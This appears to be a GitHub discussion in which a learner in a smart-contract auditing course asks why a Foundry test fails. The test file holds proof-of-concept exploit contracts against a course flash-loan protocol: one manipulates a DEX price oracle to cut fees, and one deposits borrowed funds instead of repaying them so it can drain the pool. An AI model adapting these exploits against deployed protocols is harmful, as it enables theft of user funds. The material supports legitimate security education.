-
Hello, I followed Patrick's video and code line by line but i still cant figure out why I have an error when his test is completely fine, I am really stuck for hours and hours on this, and I would really like to get some help. // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console2 } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ThunderLoanTest is BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100;
address liquidityProvider = address(123);
address user = address(456);
MockFlashLoanReceiver mockFlashLoanReceiver;
function setUp() public override {
super.setUp();
vm.prank(user);
mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan));
}
function testInitializationOwner() public {
assertEq(thunderLoan.owner(), address(this));
}
function testSetAllowedTokens() public {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
assertEq(thunderLoan.isAllowedToken(tokenA), true);
}
function testOnlyOwnerCanSetTokens() public {
vm.prank(liquidityProvider);
vm.expectRevert();
thunderLoan.setAllowedToken(tokenA, true);
}
function testSettingTokenCreatesAsset() public {
vm.prank(thunderLoan.owner());
AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);
assertEq(address(thunderLoan.getAssetFromToken(tokenA)), address(assetToken));
}
function testCantDepositUnapprovedTokens() public {
tokenA.mint(liquidityProvider, AMOUNT);
tokenA.approve(address(thunderLoan), AMOUNT);
vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowedToken.selector, address(tokenA)));
thunderLoan.deposit(tokenA, AMOUNT);
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
_;
}
function testDepositMintsAssetAndUpdatesBalance() public setAllowedToken {
tokenA.mint(liquidityProvider, AMOUNT);
vm.startPrank(liquidityProvider);
tokenA.approve(address(thunderLoan), AMOUNT);
thunderLoan.deposit(tokenA, AMOUNT);
vm.stopPrank();
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
assertEq(tokenA.balanceOf(address(asset)), AMOUNT);
assertEq(asset.balanceOf(liquidityProvider), AMOUNT);
}
modifier hasDeposits() {
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
_;
}
function testFlashLoan() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
vm.startPrank(user);
tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
vm.stopPrank();
assertEq(mockFlashLoanReceiver.getBalanceDuring(), amountToBorrow + AMOUNT);
assertEq(mockFlashLoanReceiver.getBalanceAfter(), AMOUNT - calculatedFee);
}
function testRedeemAfterFlashLoan() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10; // = 100e18
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
vm.startPrank(user);
tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
vm.stopPrank();
// 1000e18 initial deposit
// 3e17 fee
// 1000e18 + 3e17 = 1003e18
// 1003.300900000000000000
uint256 amountToRedeem = type(uint256).max;
vm.startPrank(liquidityProvider);
thunderLoan.redeem(tokenA, amountToRedeem);
}
function testOracleMan() public {
thunderLoan = new ThunderLoan();
tokenA = new ERC20Mock();
proxy = new ERC1967Proxy(address(thunderLoan), "");
BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
// Create a Tswap Dex between Weth and TokenA
address tswapPool = pf.createPool(address(tokenA));
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pf));
// 2. Fund TSwap
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 100e18);
tokenA.approve(address(tswapPool), 100e18);
weth.mint(liquidityProvider, 100e18);
weth.approve(address(tswapPool), 100e18);
BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
vm.stopPrank();
// Ratio 100 WETH & 100 TokenA
// Price 1:1
// 3. Fund ThunderLoan
// Set allow
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
// Fund
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 1000e18);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(tokenA, 1000e18);
vm.stopPrank();
// 100 WETH & 100 TokenA in TSwap
// 1000 TokenA in ThunderLoan
// Take out a flash loan of 50 tokenA
// swap it on the dex, tanking the price > 150 TokenA > 80 WETH
// Take out ANOTHER flash loan of 50 tokenA (and we'll see how much cheaper it is)
// 4. We are going to take out 2 flash loan
// a. To nuke the price of the Weth/tokenA on TSwap
// b. To show that doing so greatly reduces the fees we pay on ThunderLoan
uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
console2.log("Normal Fee is:", normalFeeCost);
// 0.296147410319118389
uint256 amountToBorrow = 50e18; // we gonna do this twice
MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)));
vm.startPrank(user);
tokenA.mint(address(flr), 100e18); // chat gpt said this is the fist flash loan, understand if this is true
thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
vm.stopPrank();
uint256 attackFee = flr.feeOne() + flr.feeTwo();
console2.log("Attack Fee is:", attackFee);
assert(attackFee < normalFeeCost);
}
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
vm.startPrank(user);
uint256 amountToBorrow = 50e18;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
DepositOverRepay dor = DepositOverRepay(address(thunderLoan));
tokenA.mint(address(dor), fee);
thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
dor.redeemMoney();
vm.stopPrank();
assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}
}
contract DepositOverRepay is IFlashLoanReceiver {
ThunderLoan thunderLoan;
AssetToken assetToken;
IERC20 s_token;
constructor(address _thunderLoan) {
thunderLoan = ThunderLoan(_thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address /*initiator*/,
bytes calldata /*params*/
)
external
returns (bool)
{
s_token = IERC20(token);
assetToken = thunderLoan.getAssetFromToken(IERC20(token));
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
function redeemMoney() public {
uint256 amount = assetToken.balanceOf(address(this));
thunderLoan.redeem(s_token, amount);
}
}
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
ThunderLoan thunderLoan;
address repayAddress;
BuffMockTSwap tswapPool;
bool attacked;
uint256 public feeOne;
uint256 public feeTwo;
constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
tswapPool = BuffMockTSwap (_tswapPool);
thunderLoan = ThunderLoan(_thunderLoan);
repayAddress = _repayAddress;
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address /*initiator*/,
bytes calldata /*params*/
)
external
returns (bool)
{
if (!attacked) {
// 1. Swap TokenA borrowed for WETH
// 2. Take out ANOTHER flash loan, to show the difference
feeOne = fee;
attacked = true;
uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
IERC20(token).approve(address(tswapPool), 50e18);
// Tanks the price!!
tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
// we call a second flash loan!!!!
thunderLoan.flashloan(address(this), IERC20(token), amount, "");
// repay
// IERC20(token).approve(address(thunderLoan), amount + fee);
// thunderLoan.repay(IERC20(token), amount + fee);
IERC20(token).transfer(address(repayAddress), amount + fee);
} else {
// calculate the fee and repay
feeTwo = fee;
// repay
// IERC20(token).approve(address(thunderLoan), amount + fee);
// thunderLoan.repay(IERC20(token), amount + fee);
IERC20(token).transfer(address(repayAddress), amount + fee);
}
return true;
}
} and this is the function and the contract that I am stuck on: function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
vm.startPrank(user);
uint256 amountToBorrow = 50e18;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
DepositOverRepay dor = DepositOverRepay(address(thunderLoan));
tokenA.mint(address(dor), fee);
thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
dor.redeemMoney();
vm.stopPrank();
assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}
}
contract DepositOverRepay is IFlashLoanReceiver {
ThunderLoan thunderLoan;
AssetToken assetToken;
IERC20 s_token;
constructor(address _thunderLoan) {
thunderLoan = ThunderLoan(_thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address /*initiator*/,
bytes calldata /*params*/
)
external
returns (bool)
{
s_token = IERC20(token);
assetToken = thunderLoan.getAssetFromToken(IERC20(token));
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
function redeemMoney() public {
uint256 amount = assetToken.balanceOf(address(this));
thunderLoan.redeem(s_token, amount);
}
} this is the output I get: [⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.20
[⠔] Solc 0.8.20 finished in 2.26s
Compiler run successful!
Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: EvmError: Revert] testUseDepositInsteadOfRepayToStealFunds() (gas: 24172)
Traces:
[3985871] ThunderLoanTest::setUp()
├─ [2612981] → new ThunderLoan@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ ├─ emit Initialized(version: 18446744073709551615 [1.844e19])
│ └─ ← [Return] 12933 bytes of code
├─ [121971] → new MockPoolFactory@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 609 bytes of code
├─ [449186] → new ERC20Mock@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 2018 bytes of code
├─ [82488] MockPoolFactory::createPool(0x0000000000000000000000000000000000000000)
│ ├─ [25275] → new MockTSwapPool@0xffD4505B3452Dc22f8473616d50503bA9E1710Ac
│ │ └─ ← [Return] 126 bytes of code
│ └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA9E1710Ac]
├─ [58257] → new ERC1967Proxy@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
│ ├─ emit Upgraded(implementation: ThunderLoan: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
│ └─ ← [Return] 170 bytes of code
├─ [115621] ERC1967Proxy::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ ├─ [115231] ThunderLoan::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [delegatecall]
│ │ ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ │ ├─ emit Initialized(version: 1)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000001c8)
│ └─ ← [Return]
├─ [261741] → new MockFlashLoanReceiver@0x1cF5c39A1828B446da31fADb01059F2A6B9B327b
│ └─ ← [Return] 1074 bytes of code
└─ ← [Stop]
[24172] ThunderLoanTest::testUseDepositInsteadOfRepayToStealFunds()
├─ [7332] ERC1967Proxy::owner() [staticcall]
│ ├─ [2442] ThunderLoan::owner() [delegatecall]
│ │ └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
│ └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
├─ [0] VM::prank(ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [6136] ERC1967Proxy::setAllowedToken(0x0000000000000000000000000000000000000000, true)
│ ├─ [5742] ThunderLoan::setAllowedToken(0x0000000000000000000000000000000000000000, true) [delegatecall]
│ │ ├─ [0] 0x0000000000000000000000000000000000000000::name() [staticcall]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Revert] EvmError: Revert
└─ ← [Revert] EvmError: Revert
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 11.32ms (1.60ms CPU time)
Ran 1 test suite in 668.68ms (11.32ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: EvmError: Revert] testUseDepositInsteadOfRepayToStealFunds() (gas: 24172)
Encountered a total of 1 failing tests, 0 tests succeeded |
Beta Was this translation helpful? Give feedback.
Answered by
EngrPips
Aug 26, 2024
Replies: 1 comment 6 replies
-
Hello @YavorJJ, Please show your |
Beta Was this translation helpful? Give feedback.
6 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Run
forge clean
thenfoundryup
then retry the test, Let's see how that will play out